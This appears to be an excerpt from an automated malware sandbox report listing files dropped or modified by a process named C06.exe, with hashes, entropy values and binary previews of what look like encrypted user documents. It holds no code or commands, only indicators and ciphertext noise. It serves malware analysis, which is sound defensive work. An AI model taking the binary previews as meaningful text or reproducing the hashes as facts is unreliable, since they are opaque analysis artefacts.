Preview:	UMMBD.\|.}/r......j..Vh..........IL....u.A...L\..0i..4w7......[...;..2.l6..~.W...[........(WE^z..d..\c...`...8...)J...p...u_.....&.+..E.z..FDc..F............p.)..:.....>+..Q.[../.F.....f.....As.../....e`.uzY....p.m..h.Qc....q.U.6....7.....;h.V.#.#..D.S.^.,.qaI}..(..w...D.M..z...Jjn.S@..."...!bH..c..8\|..-4...N...CN..$9..._.'..b.C...$i..]j.e.....o....X?.......$..8.)...\...$V.%.....3...P.S.)u...~<[..d_,j..9.<...ge..HE..k....}!.y..YzF..Gg.\|J..FT:C............k.&%.v\m.!...8..Xz.X.^o+E,.....l7..n...}>pm...[.%..3.fh....5.....>E.,m.2.Kg.Q.P>+;R!...o..<h..X..R\|.`l.1..~...P...p....(.....y.#Z....y.f+.............(H.?.....mP...R(....6j.M.M.M.VT.C0.....z.....m\.V.(..[;+$..h>...M2X..b....>u.P.T0..f.\|w.>..$\..v.....)..2..c9........6At\..gt~b..Jh...fj....R.M.A.z..j.../.1...W.d.a.....4~X.n.].....Q.U@X.E.s..[.W:...^......0.I@P.<=+v..5.`._...Zr.}..s..j..i..7...k......a{.zs...Ri.....;...._UM.v'^f.Fh........F>.o.RS.f`+.r^.g-;..mSfs..\|...[..FE%...

C:\Users\user\Desktop\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849434195958777
Encrypted:	false
SSDEEP:	24:tSdUKNz+3fa9eUs0GgFLSzb6AwkKWaUHUcTN17FGIoLM0Rzxry2ZSDpbD:4CKNAa9eN0Ggsv9ZHFTNz3IM2ZSDJD
MD5:	A1A51C66AFA53567E3C81F21B8DB9440
SHA1:	D89EB40BFFA3482427E7D4F6EC660E915979E6FB
SHA-256:	9267225EB111138C885C92E76AC23A7348DD8277BB815AB93F414CEE1105ECB5
SHA-512:	0C6E4369B836FF2BCFC6D36A8492E721962B64C3EDD7DDEDEBFC2E62C597EF448534EB0B016F903A7788FBDF94C0516BD4E0F08DA8C52DE24580DEEE4810A713
Malicious:	false
Reputation:	unknown
Preview:	VLZDG.......m[o._k.X,.J.O...Vw..>?......c.<.rM....3.-...\|..`.<c.`.!..0-c...y...+l..Q........Y.25.J#....<.T.<...`....R.x..'d.U...c.....;..........3..D....b...cG.G.D.......-...?......0p.}.\J.ZUk....y.(;...3._......%)].i...,1o.o.#XC.....+..n.f..Oib$..v.5}x#...'..<..F.....Q\|c'...A.... _...c:...@.._...}.%......w..g....3.8..f.u.U..T.4x,...........r.#..=......;.....y...DC.....y..."..<(.w....bN.@<....!...v4.......j.....D.....}.%w..COXTx.....(..K...erj...3.E.....&..{Y.......T............L.w....I.U..Qc.V.....r..N.......Cs..G.K.........l..(o.}y.T.Cv.#.........i.....Y..N...m.[S.....}.z.....9.6....&...d..aSn.@.y.=.. KV........(.8.%..K....O..<Q..g..../.....&[.M..Vu...3..{F.h.....T.L$.>{:..5....`E.[...ze..>".H.s.4.,.q~.]..~.p.m.ZK...y-W.j.(..U.....r$?.P ..0.b."..0P2....(.;.#hr.4..0K.>....Z[...x.gT...{...]......6........".H.JH.3.X...H$`b.n. z..;27@.s=..g.P.s?.....!..3d..b.Hn.?J.P..r.>o..d..?.Y;7..iY...\|.g.../*....Q.W)..'..`..A?+X...a -.B

C:\Users\user\Desktop\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.881036117657312
Encrypted:	false
SSDEEP:	24:5in0ZqlnD6Se/mZY6D7jIBw2e0p8WMMZMhHD/mFUzOxUUFlx/eXJ0/jwlWNAQrLX:54XeD6DH524WMM+HLGimPlx/oG/jwlMv
MD5:	FB6BC3964CF34F2442A0735C6C541F90
SHA1:	2B26927259B23B4BF91BAE0AA0B60056C7EE03D1
SHA-256:	1260481EE57BFB43B270FE5DDBA2754E410FE3964210B80942381B5600BBD2B8
SHA-512:	162B7FA9CF1EF795EA47B8A1071293F87750DD270A321675A11E79A38F4437A896EC6C3AA68720F80EE6BE585870422A4A6CF9DBC1EEC9B0782EDBA34E68EEE9
Malicious:	false
Reputation:	unknown
Preview:	XZXHA.{..T.t..a....l.....@....).$V....<7.c....D.kr...Q...j%X..u.w.]W..6.N..5.\=...W.)q.Q..pR(zF......11...W.W..tOO.Q..* T.....I(......\|.g+1.c.T.c.fk.A..U..~5.K...5.7_.B[...Udo.d.............sy.x~..I..N.LvB..['.O..!...T6..@..WZ4..i......W....\|..V.ea.............M..4]./Y.j...UJ.8j...\|c...r..iY.pS..8.<..x%...g.!.^F....H..2.F.;.Z......lm.......M..A.....5..H.-:/.....B.O...>...V...c..=. ...+L.K....k.`..j......7.....I.uq......8.,..MVs....Lw.^...J...j.s...-W....(.....V....`:U..06M.#L..G...O...../=..&.D..P......H....>....w....1............K....=.^...........!.5q&.>.....y.L......Gn.1..&..,x.x./.>.........%76..S....zn(3..,..Z^.`.'Rq...........p..Q..}.....A.J'P.... ..B.........?2..I...I....jM...;.u...ov...j.,2...d.]I..Bw&Pl..M...L.U..B@T.M....].rJ.`..[\KS.a..Z.b..O..fj.._..mQ..{}W.......lzD..nq....k..(...\......D..Q;p.q.N... ."Bx.+u...4..z..R.\.g.9<.....J..q..u......A..&...^Fa..1Y.<.G...(...bk....1....Q...A...../n.h......]0...j.M...W...l.J.1.._.

C:\Users\user\Desktop\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
File Type:	data
Category:	modified
Size (bytes):	1360
Entropy (8bit):	7.857797016603969
Encrypted:	false
SSDEEP:	24:N3NY/ZIwKK1RR7eHQz3YfWO+9DRoVYlS4RDzfqMJy53xOCnbD:ruZIwT1RZeHQzIWOeDhjNJyVxOCD
MD5:	89DBC7FB94052F69F10B1F33B27F82AB
SHA1:	329AAE7BB7BD2A5FD4BB4BF5AF198BD3FF299C75
SHA-256:	9CDAF903BFED0F849B96040F05F1253249DB8FDCEA8EC384480A3436116C40B2
SHA-512:	3A6312AC73B4272EBB2288B1E500139CB860ED14CB7798ADF4F93A39DFF374B9907AD296C0086422CA2E5814D7DAB4827D84B5960AF16921B2E6CEE4221E61F4
Malicious:	true
Reputation:	unknown
Preview:	DVWHK...~_7.y...r.U._:...d6...;..=Q... (.{T=.}......0@[Z......k.Z..".JB....:..i.[@r.q/..>.}../..xZ.'.$...s....].E.{../..=ukgv.uls..-v+.......X<...h....G4..H....K..a...v...u."H..H.........o.....3G._.....P+.TH..{h...vl......\G..cjLFl.>e)..k...r..E....E..C.8...\.9.Y.{.-.............p.i. .AW.......9s....l.e...(. h...,$...w.YWc[..F.z0s.;g.(...8...o...^7..6..p.J`J.e.-..E$R.R.h:..u.....h.. .D.EC[r ..Y......c.Dk5...j.....$%...,h...I.....$....PL..b..qw.'U...CI1..._....^e#........`u....s...46O...*..E$.M..&./.W^..Y..].....'......~C.7.j...X....}zL.......V...e..R...BT.7....R.I...m..j.5..?...JL......+.....S.H...y......o~.54.S.. .E.{........,..x.v..&.K>.N...w ......s..D2.?.B..x..V...,...C.D...6.RW.....S.I^.kO~.S.....7...J..#E9....~6.5.h.,.e.=.3...ex].l......O..Dk......=wU........b...g..!.Ajmq.j.[...5.. u..TK...... ..\Zv...%.....\...\....?^e....7..[.....d..-@.3..\...f..w..YaT.x...u1P..S....{vF.j.I\.E2...5.?..Se.l\........_.e.OUc....}...zg.`.../'..I....:

C:\Users\user\Desktop\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846707898156759
Encrypted:	false
SSDEEP:	24:MV2fy4LAlnjbHRz4J/+tPKJZmLWf79GWTWC+d/riK+lU8bD:W2LLAfHIG8b1f0qb+dEUWD
MD5:	D7567F5B4CD4471C898A5B99A777198A
SHA1:	585F119A8B26715B88F7FFBE951AEA7ABC19CBE3
SHA-256:	74BF2BF3FC6513F87044206847065CA2536D56669C5B0ED073A1702B87E8E937
SHA-512:	E6A5C882E473624F8F2A7DD595CC4036FCD4150F957D280C3179E888CFBBF95E1749F3186BF0A6EFA5E2E5285F545072A907D7F03F21DC77E02CA79BB4BC7DB1
Malicious:	false
Reputation:	unknown
Preview:	KATAX9F.m..&...'D....C.....2...f..m.E..A.W...INepX..I..j&a.8.(.j....E.G..&.V.y.C....(..s..<..'..P.8..pIb......R..i.21TU..j./.a9L:lH.#..z...r\|[.O.).Q...Q]2..!..e..VE!JmH-dy...CB.....~bw.d{.BI.,'.<....T.x..................z..U.p'..i.=u.2..../Pt....}..=...0XXz..f.+..s.,H.L....V)..D......E...JI....a....KO..W.....u-.r+(M.!..../..).p.;w....!.......&.....<....#.0..ie".."'.lS]+0.U.PQ..Y.$....UC}..?...lx....`.....r...MSA.d...~..h...".x...../.G... B.!f-..X...RB.Q.M..{.b.>.:.._..<...u..G"<...g..C[..YArJF..`J...1..f..f....i=..I....q.e:......(.\|_t...-[.;V2brsk..V..i&C.._.X..PC.O.... ........}....T...s.@....N..R=........x...S?..K..L.....^.;..Jf..H.2}w........>zJ0...$...y...Vk......}.....h..t.I.j.......U...z/2.j...Q5.m.2.D.F B..".@e.....l...T.>U.zMI2F.......l&......{....4....B..nb...9.8.^.1.F...ns.....(?... .a.....?........."-.7...!...6...,8..=../z&.#jsn..ukl.1..N...38...:.n.1-.O[,.o.f...F..G..TF...yku.....d.:.0.y.}..!u.3.44.)..A.?.G.

C:\Users\user\Desktop\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861107477574633
Encrypted:	false
SSDEEP:	24:Ed+XfALCC+D0/KXWZaj0VbSvdFfbdaGw3BMfVDo7WNOaSg3Ad+DaLXFhjXsQReQX:Ed+XfAnKUKmMIVbSvddx/w3BCVDrNOzH
MD5:	A7ABE2E729F258A5539634A214ECFB85
SHA1:	C4E3DCB48999923B06D79E59C45338A9C9FA4E49
SHA-256:	64A0783BB4F85C0AE3C23EC8127CEC55CF75C512496301B75050353ECF1EF4F9
SHA-512:	D93660BE85C9D215C7BD4E4B013EDB3521469B95F9AB07AB9060272840AA66DC78B3FB2F28BF9EE868ABB778114B7C193CE8D4CB7D4A56F79B73729624989E41
Malicious:	false
Reputation:	unknown
Preview:	KATAX.W.;.e\..Mc"M).n]..rAO.(.%...`.H...c...J..H....b\.o\|.k...7.jvx...k.A.N.o.T.........C-./je._.\....2..h;]u6.r\|T.r..f..OU.02=....U..N...yj&V........P.T2@...z..=..q.&.Z...\|...?.Xh...r(.-4.fYk....P..-....K..7.1.".x.RC.v.r.!KJ..W!"...@.h..Q#.T..`..p.P0.1...YNA....r...-...?.4.a.MT7dQ..t...U.q...!N..e...Y.#G.t.h.%s...^...........{.R..".f..z@.D4..h+....M.n,..?G@.$...rM.;.DP...R.....Cq..TxM...m....>Tl...n......7v-m.8.......)...9R.w..d.U.....2NZa..3.l............T./g+z..Y..u...l....._..dE.p...L&.M.1..o..i.`s.....[....(.M-.....)..q..7....W...=2...b..Z...od....[.u...p._...#.."...e....[`.:...m....e..:~K....>..F..m.Q......;..f..j..HM.bi+.{.........L..\|&......9..{Vj.....7...C.7..v.5.b...x...{.....WSo,. .. .h...q"A..1...w;zp4.........t..$..}...%....\\|..px?.g.W...>..H)^.@o$..-......C.g)...0."../!Tm.....G.......Y@.VU3....Q4X...(m.......@.L.V...5...B4".gw..(..D.".....`..?.1:.C{;.>.MJK51l.<..S*.90w..B[c..K.J.....Q.;....x.).`>Y8.8.i... >.l.Q.f

C:\Users\user\Desktop\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849798436223938
Encrypted:	false
SSDEEP:	24:+q4N/qBdVqdVUZF3dkc8KSg6aIaMh4W1C/eldYu+e424qX+T/jCN2hR5Ji1ZbEbD:beybFV83yMhFUc+eSPCNQVwOD
MD5:	E0AF5BECD29AFBC627B12A8904EFDBC3
SHA1:	3053C2580183BFEC086E4FAD21B7CE1559FAFE88
SHA-256:	4907AB3A316417C842E843C8D4E8AFA4327491CB44FC377B9F23CE915639C34C
SHA-512:	336A1DDFC1B62D43774C299E4E7767ED9638B9A051684AF4A5A8E25396E671559947D990B4687296CBB0174EF2A0FBCD07725492D4550543DD6DAF455165D9A8
Malicious:	false
Reputation:	unknown
Preview:	KATAX3.'.....E=.T.....^.!.S............$.'........-.E...E...s....+.dv......}`G..y...\|......m.b...%.....E..7..U...w....u..Y.W>0..Z.U%.....X.}.[..k5u n.[5...,&x./....I..d'M8{.CSe........u..x.%...w...m.".w......{R...=gP....O..9.}... ...8d...L..Zm......w.....B.c..".......2m.....]."&MC..tM..11....@&..d..n...P..j.[u.^4I...v.%..o........yzg...y...j.........O.T)k.[...=^.Py........Eb..:$.:a...W.x.....T8\|;&lrZ..H.V:...t{H....@}f.5..>...tb^..~.c..M...g-...}".9..dW...J.(...:}Q.'EU..`...~....b.k.8 .9.i..7...v..&.v...2.U.TDB..q.....Zg..'\|......s..<=HWY...o.1t...R/wz...C...c&.h..-.., 8/..+...s>.x2T..cQ"..z..o...g~..<X..5.\|.6..U..4...\|..BO....B.Du.p[...6....)<o.FDvN6........w..........&....lv.....'1m._(..d...NFNn..9~.H+.@.....=5r....G.=U.\|+.4...O&.,..N......=..O._..J...U...+.~.Z8"..1V.(.....2.....a.E._...Ey.\|na..+Jf.c~....y.1^P........4.!..M.G\|.(fZ.KEtW......V.,1_$n.d.$.B.U}.U..1.v#.V....._._.$...(Q.. ....d.K.+......7X.......j.....o......".p.+.6$

C:\Users\user\Desktop\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867763161324956
Encrypted:	false
SSDEEP:	24:zXWGJ4UDJuupOz+QvX56h6pSNZWiju4MoB+maYbD:iGJb92JS249BqCD
MD5:	23BBA4F309FFEAEE2266B6CA7BCD8E15
SHA1:	795E2AA7CC4451A5B07421F66955761FFC56038E
SHA-256:	9A1A822A4285CEA78E662EE10077B76FE8B3992E3F9123350AD0ABE7AC997C19
SHA-512:	C0419779C7C21F6D129537CEACD48F388F3DF6E8AC8FD4A1A78617C7B603752BA358D9F4FD853F16EE6F9D2BAE978299A2B75A8E9102D2C5BAE556BEBE762ED0
Malicious:	false
Reputation:	unknown
Preview:	LTKMY..q........l...6.<.....bR.=.x...!.............]2..%.]Y.#&Oq.+..?.!l......z-..0.xW....gg%A....Z...U...l.{.D...GQQm.Qh..<..?.}K\|:V.(.R....O6h...w...:j.0$.pW];[.............MRX....^b..........t7......@.1..%o1.1...I....#.]F...A....X..c8.a<&....m.4...QI.v#Oi.JBrZ.Z.y.Ey....[....F.......A.%=.]...e......X.P....e...&..../5.....T...6.....B+........^@.x...1r..H.Zq.>......T.K.G...#...M4\|..q=V..&P.{...b!...T..i.GO....%x,{.@=k.>...c..Y..8..GO....$..p..3..1..{e.o...e....s..U.....[...U...9.g.zB.Xi...Q......".H.Xk..XY.~.V%v9...~.....13L.?...~r<g..&.q..P..-......%..x%...&^D...k+.g...J...,..%a.2....%.2...t....<...{/....I...[.2mw.....$.H...T...P9.)c...dh....Y{0.[yy..-..R.>(.xbM....yO-8.....[.~?.a.S'..#..=.ug.0.7(n......LgW.r.\|.q...,f}.............d..3...f.........S2.W.m.-.r.7Fx..4.....W..(o"...p\|.....T+...(.#.@..i........r37.J.....7..g.m....H.H}]<.vXF...q...+.c.Vy....J..<Y.....n,...x.f...ZF..G(..6.p.=...HP..8..>/."K.X....b...{.K.....`....-$

C:\Users\user\Desktop\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855118019467099
Encrypted:	false
SSDEEP:	24:fttGJdeDvLESQJ6MQHUG/S0I2v3VMRjwLCbtLyqFOOSHTm4YjgRabD:fHG+7wSDHUB0IcVQ62teOSzBYD
MD5:	31694B241E03303A1C02867E5DB55AF4
SHA1:	7117403EA0B91C58643694EF76AA01049C8E8BB8
SHA-256:	CDBBEB3D4D785A4D57F536C9B8B1F281C580831D0EF72DB7EC34F5FBB483287C
SHA-512:	55F09173B8AE9A8D5BE4F8A8584FD76846420CB1342C218F69AA70DF9F47A4CE3BE0CE603F9CEBA23C47CF60105C12CF1FB5D32FAC084FB8DB3382B929E4D02C
Malicious:	true
Reputation:	unknown
Preview:	NWTVC...33.cB2..;\|..M"/.,.....E.I.t.._x.O...{..9..[.e.Xv...Jn.(W.=..KlU._.xXdk...#..2..M.f.=....Bf.D.v.?..... .......=.!ix....j.j...v.....2...A[........A.{."..X....C....+..4.Ba%u~.P?...1Z.'Z.Ik.=.6GQ.f..@]...I4...Mr...H.H.....z....3...`...dv.....5.@.....1i".....v.'t7.&.k..P..ndL!ZW...B./i..Z.p..&....G.\|..d.$.........i+....1n{.......JS.cuh,.......Q...K....7..1....:.:M_.....6z.iM....w.o.._4..........e.....Fc...K......X.\|...b...!..*.l.V.t6K.UUH>I.r....2s.].O4.....0.{d..GU...1`:...#....;...Q...$k.eUm..o....`Bmku$.F....O..n?\|.I.j<`r....R.~..V3_...=v[._.v...M.@tu.5...N .}p.+../....Hn...7..m.8.d..z....,U.L.D......+o@.Y9....zj.1tv.... g....[Id.g.Yi..O..9...."...'.I....s.....F.f.........f_G..0...F@t....o...;..w.K..............Z...S.{..FA.kaJ.Jy..N.......=....XT..}.'G...j..`NW.5b.JX.Y.T...Z....;.-E.}i.#G_...pR....S#bO.....=S...1...nU.+#d.........F.5gOg...w......z.....f.......>y........X..@B5o... <.p..A..=....W./...Y.....x..].-...W.r4.....YOgF

C:\Users\user\Desktop\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836245973997253
Encrypted:	false
SSDEEP:	24:zbL3MFHw8JmNhXvB9boSLq7RG2d5rNNcfarY45pmre8gg8eKlvPXHyVbMbD:XLWPJGhoSmY853vcpggul3CVbGD
MD5:	A0F733644C9EE3ACCEA30793C12F4363
SHA1:	8585ED6AE6EF4E12A231D63D52CF8729B0D8A94B
SHA-256:	42DDFD73E8F2DB9E09EA9967DA6CB833991113EA4FAB55947107F84A22F3F8C6
SHA-512:	51AD60BEE73107FC4BB377C403C8B1D078070ABD29BE71C03A31F9F47E1B8FE82F9C2D85D22EF5E4D528062CDDC14B51978DF19DDBD691D97A93799886E03985
Malicious:	false
Reputation:	unknown
Preview:	ONBQCR....P;...K<.....c...8].cX6.%...ox.....^.I.F...zP%.......<..H+...M.>i@..D....sa.].......Q....-.....-.....oF.L.LKs..tf.}b.R......&.m..`a.Q.RJ...^S.b..p.4.....C...r.F...l.!.hY.ahT<..b.Z^B.A...%...;+\...8....y....Z^.+.q.4..Z.....i..iE.b.....R...569.J..5..(...{#.S3i..s.E:.1..O.a..#._....kD..\:..).(..$u<g.U..g2]..."7..#fM.B..m.H..E&QI. ...oz....EC.UX.e..^.PdB.W.......q..}..-..l....S.:. ....aa._.7b..G\61..Q-s,p..:N.x..?WS...L.K..Iu..2......{P...n.2.k$-.B..I....k..B.[!`.^3..f..`...+.N.....>..9.L.I....n.....?.m.._.;w\|'.5...C.$....f"v.5..0.-./.....#;..St..8....S..6..K.K..+..2D...'.!.\4.?.t.......`.+...3.[..o>..H.E.VY..DS... \|.:.S.7.VpU.....#..N..$.......5~........ir5..hC......Xr.c..TB.rUJ...yM`>.H..Scn.?.DViRr..!g..!..s....p.c..K....9.::....).[1......[I.p.=.bw..'.../..Z.x....G.q.>...p....Ww..-...R.y....A.{.0.~.w.-.2.w-...M......=c..r.2F..Y.=......d/....z..6.].e..J....{re.Y..a&..=L.`.@0.$K...i.Ag.F.kZ.o.Qx\e3..z#.....\|.....27yu-.m..*.I.....dk

C:\Users\user\Desktop\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838045572042583
Encrypted:	false
SSDEEP:	24:3NuDR2IHUd8P2tl1NImzciwYWXXyMm24JUqCOG2MAPLcRXi+O0RyO5/ybbD:3wDLHhP2T1NzABm2uUPO1PEnO0Rb5afD
MD5:	1023060D41DE357A4713890495599691
SHA1:	B1520537E9219E73C0C3A028E24CDDA0989CF26B
SHA-256:	AA6D542BF8222F7E92F8B27EECC962560EEB2B09CC8FD9C3B680A0E7E47DD2B8
SHA-512:	D1AEFC90107C6AC367FD35C3EC3BA4434A939E9353B0163D4B455A787F5CCFE55CCAE60B43359E494CFDC9BDD5EFD03BAA452D88BC75E24C8019959C47829538
Malicious:	false
Reputation:	unknown
Preview:	ONBQC...`Y@f...J1Q.pT........N...z.S..LE.G.?...&.!..+BF....^.t.Q.?...+.\.L....t!..h..3.'.y..I/....a+3#........RW......D..%......U..Z..n...;:>.a.RE..........._....{`..A..c.....A...........kT..#p.R7.....QL..=..%H.-..K..:u./.........._.peI ..?.A...-`j...%.[._NxXz....c[\.N.&G.D.."X....t....i.v..r{x.....T.,,z.v....W....C.r..W,....f.\G(l....3....&.5W...TVt1..T.....BQ...&ZcQ.7..@..G..&>\|....,(3i.Y......0ze.Bx..\.........O.x..;..n....q%.Th[.........y...pF.0...t.x..-...z......?..g.[..X........Q..7.v.......J.8$.........T+..z.V..h,..Rw..L.Y....^1..@A..B...\...1o.G.q,..qI]n..;b.g.^d....(.....<!S...Akb.?....5.vd...Q.hb7.r............oH2Fj...V.k..od...As.B>.....p...f..=..W..P.y...K}.{.bB.X.5.?K=E.....h;.`E..A.f;[@m...&..{-..;....&._wW......C.O.....7..u.w.......DiW........?.Xl../ef...7......@hh..yY..i.*..RU..dU.....].....\....WOz\D.V..;.pPG.B...3...-...1j"X.?H......k...8;...m:..?.....nA.5.....^E..xkG{...I..w.A..4s(.$......'..o.';......k. .o...l.a;6..

C:\Users\user\Desktop\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857999393244206
Encrypted:	false
SSDEEP:	24:owP6imDHMJIvja+t51bH49TiqdSrrk6x/cGOQeKZANrbEBXJb1+hzF7ZVfCYobbD:oRsU9vwiqdS06x/rOQewSbEBXJx+hZrI
MD5:	1CEEBC5CB8C7ED06716DD98063A32357
SHA1:	7C66E05E0952E10E799E15524E67A09818385E0F
SHA-256:	8D7E2D37F138802462EAF68EFECEAD18EC738A7EF3A3182ECA1087BAD4CA402A
SHA-512:	E8711DEACA447D632346624B10FE4FC7362D8A05CA536BBEC0BA613CB522D189B350EAC1EF62D6B52B40477B4B6B37F0C7A4160400375E18A3437D643B2D8BEE
Malicious:	false
Reputation:	unknown
Preview:	KATAX.......#jKyv.I.Y..Tn.....z.)......"..p.zw.\...L..!.G.^... 2..9,....(.......a...),.{?T...;M.....(^..../.....32..6.....=. .9....V..g.].S4......Qh.G/'.3?}W...@`.Ex......C..&2..........9w,..o....n.._...".T..jr.@...+.\....D..E....I..:E....o....F.8.c.n$.uy.5.Z.X.U..P-....)N.. .........f.(...z.t.V."W.....D\2.o3e^...b..[...9..A8.r......6\#....}Z.Ee..S.e.....4....6........$to....8g......7...A......v..L....d9.>=....c..T...[!4n+..G.& ......O.\|..6.8-...!..z.....H....+ .w?..W.1.~R$..#.m....?..=I.!...4znE..o..ssy....`.9)?..b]...p.......n..P{%.7.o\|[..8..9.b.j.O..?H....../k....... 9.........Z..kB..S.)..U......>5..T....T. I......1S.A5i..$....K.+.E\.\I.1.EN.lr(6.[.Y..4A..dRL.)..]......;=........^..q....-7.HD~(.iBr.%.T....y.3..a....n.).:#.$s.........e.3..7UI.........2Y~...2......d...2.....d.\|t..I_.VR.$~F..ot.E........}7.D....:...~.N.5....\|...Is.ue.Q..B......b..1.....W.67.&.gJ.......c.-..o.c&7....L..W.f..L....=..HV..LW.#W..uI.Y.&V..g...3.-.D

C:\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845566047324541
Encrypted:	false
SSDEEP:	24:PnmQD51Kg76AnX8thzDrUTy00DnA8dnb1QdPH8BqJe7eP7rz69kMvzNR/G5TCb05:PmQrKuX8Dfr80bAApIPHYRwn6uMvG8c5
MD5:	EC85B155D0E6CF3DBD385AD0A25355BF
SHA1:	00640F45ED963558031E96851C7A83B98BCB593E
SHA-256:	BE8FE89C9CCC6B3CD153A0AF8E53CDC035426144C9D5CC47B47E668ED5EA3412
SHA-512:	DC7232E4D1D8656630C2AB986AF71C3666392500130A167379DE2C49F052000CD8E9C81601F495F61599EB134ABD3CAD42D907DAD5652998980EE80B3D6B3B42
Malicious:	false
Reputation:	unknown
Preview:	LTKMY.>".^.>.C.._.^s..2@.~6l..z2...EX..7...].Y.K..N;..O.V.u.%.S.\..T..Kn.a.F......b..N.`..(._.#.\....;.0....,~-..@.>I..@..RC].....Ou..F...}..A..4.9.R.Xt^...`..-z.ETE..$...G....u..B[...QP?....4.y..s....Y}$...#...n.:Q.._8I.;Tb%C.$.&..z'...j..2.....:.....E-...8../....Y..>......B...h..y=.!i....\|....X.F..l&......p.q.~.j.s~4....).y.5....hzT[.J~.&...BUv.U=...L.............VjL..>5u.....Q.@p....(.W...K,..p{...B.g.MfS<<..%03]4zof...Q.L..."A.4..j.h.zZ!........*V....H...=%.&w......>..J.n=-.0Tv..i......g."5.2X.3..........K`.pQ/...4A9..Fc......y.vP....;.b..P.)A..Sti.<.:.u\..A{.3lF....K8S..W.;.p.........s.`r._:..[.vk6LySU.g....El..w...0..]..v...4Gp..w..+.U....S%p.\|Y.[.S..n.h....5...1...%Tq..y..];\...N}..1.i........Q..{..X./.....M.e...Y...C...9..`..5.....u.,.;U..U...].j..mS.....(...~.\|.,<..-.........5..?..4..9......~~..... ....).`D..d..O......@.,..q6Xk...h.ECfq.....\|....K.X2..-:.G.aR5..YM...(....!...e.....6..=.e.9..F......z$.C...P.2..K..9.E.Z&

C:\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841009446642065
Encrypted:	false
SSDEEP:	24:zjg73ECqKCf5SGp4b3Ze3IN0EwQQrog95/MuAfM/ACRVGjnsRnSihASbD:HgrECqBf1p443Nr1uuAE/NGkRD
MD5:	AD8DCE97B76134DDEA3F1A51223F822F
SHA1:	118B6AC0DD96CE47B22EB76463CF0D042E144671
SHA-256:	E02AF07AA45D0C967A1F541C9A5DB6D165663EC698BE9A4086A37D30E477A63B
SHA-512:	ED59DD40CAB8E7E710ACE33F5A49523BD85BE7BB4D2019A1FEA06F0C776B52D5B01DB0FE5506EB5686A01837250A7AFBF3834F2F58152B1432D225B9CD779505
Malicious:	false
Reputation:	unknown
Preview:	ONBQC.;.;i...L...k(1.c..`...B.Z.1...la.....L.GI..H.U...g..c.<=...n.GO.lx..Z.V.....+.\....N..x.R.:.6vz...b.`...gt.5.Y.:..RLc.{,...Q.....I ...9.j?.3P#...1..E..R.q1U......z..Y.....X/..{..'.I...jo.n.....x.3.`....>P.d..T..j..m......0..E.......}..5y...0...0j#..9^.9.........)...Y...> "=5...Z..V.R.Q>...i.p.0.:9.[...+..;.U.,.....RK.vq......7.u_..W.!..3..E.9....o..\|....L..n9.U;..g...].v.....M............f.0.o....f.3....5d.C=..'Zo)...NX[._O...C......%X...(..@ .{....S..p...>g.I....k~...8..... ...v=...b...6.k.O .....,3......g(&.&.. ...Y/..'..Jz..W.:^42M...T<.^.)V....[a1T+%ECeC.....!P...!..37......~.....FX.-~..T?.w.^t..C.?....e ......}.....=..K\..XNiJ.'.3."...\ .uu.+H.."....d.E...E......_.a....\.Q.@/G.7.2..m..`r...f...\|.....8..LcI..a.)7#[e..R%.u........D.t...;X...3`.;....p.a^D...<....>k_.:........\x=qU....#.{....>.o.H..R.\..V..C."..(d...1.......5.^"g.8Q..}.6`J.Zq.d....\..H....Bj)....IK...: ..E7H.5.......o.{Y..yk2l,vJC3.bT.......9.e..J.J.....>..

C:\Users\user\Desktop\ONBQCLYSPU\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852140109407031
Encrypted:	false
SSDEEP:	24:G1gSxIwiBnV+2EYcptdhLWAz2VobOpUxOBPKQRssaGp/hTbD:G1gS695Vjkp0a2VQO2OBPdD/pD
MD5:	EFE69FDD7AA1817A150AEEBAD3CBFD71
SHA1:	EF3A8F7B0766128288C68E2C2E6037E321AFAC2A
SHA-256:	6B54A0B1EC3226F34B61D0D32508ADA34B3E14879898FFC6861D9625B8BDDAED
SHA-512:	43145A76A9C7D77552328F68DC594DB1174BA9A8729181A0ECF465F13970F3075680C82DC5C3721C04D84BE055167D4A88C29C146C99EF8CC78758D2FA86D6C7
Malicious:	false
Reputation:	unknown
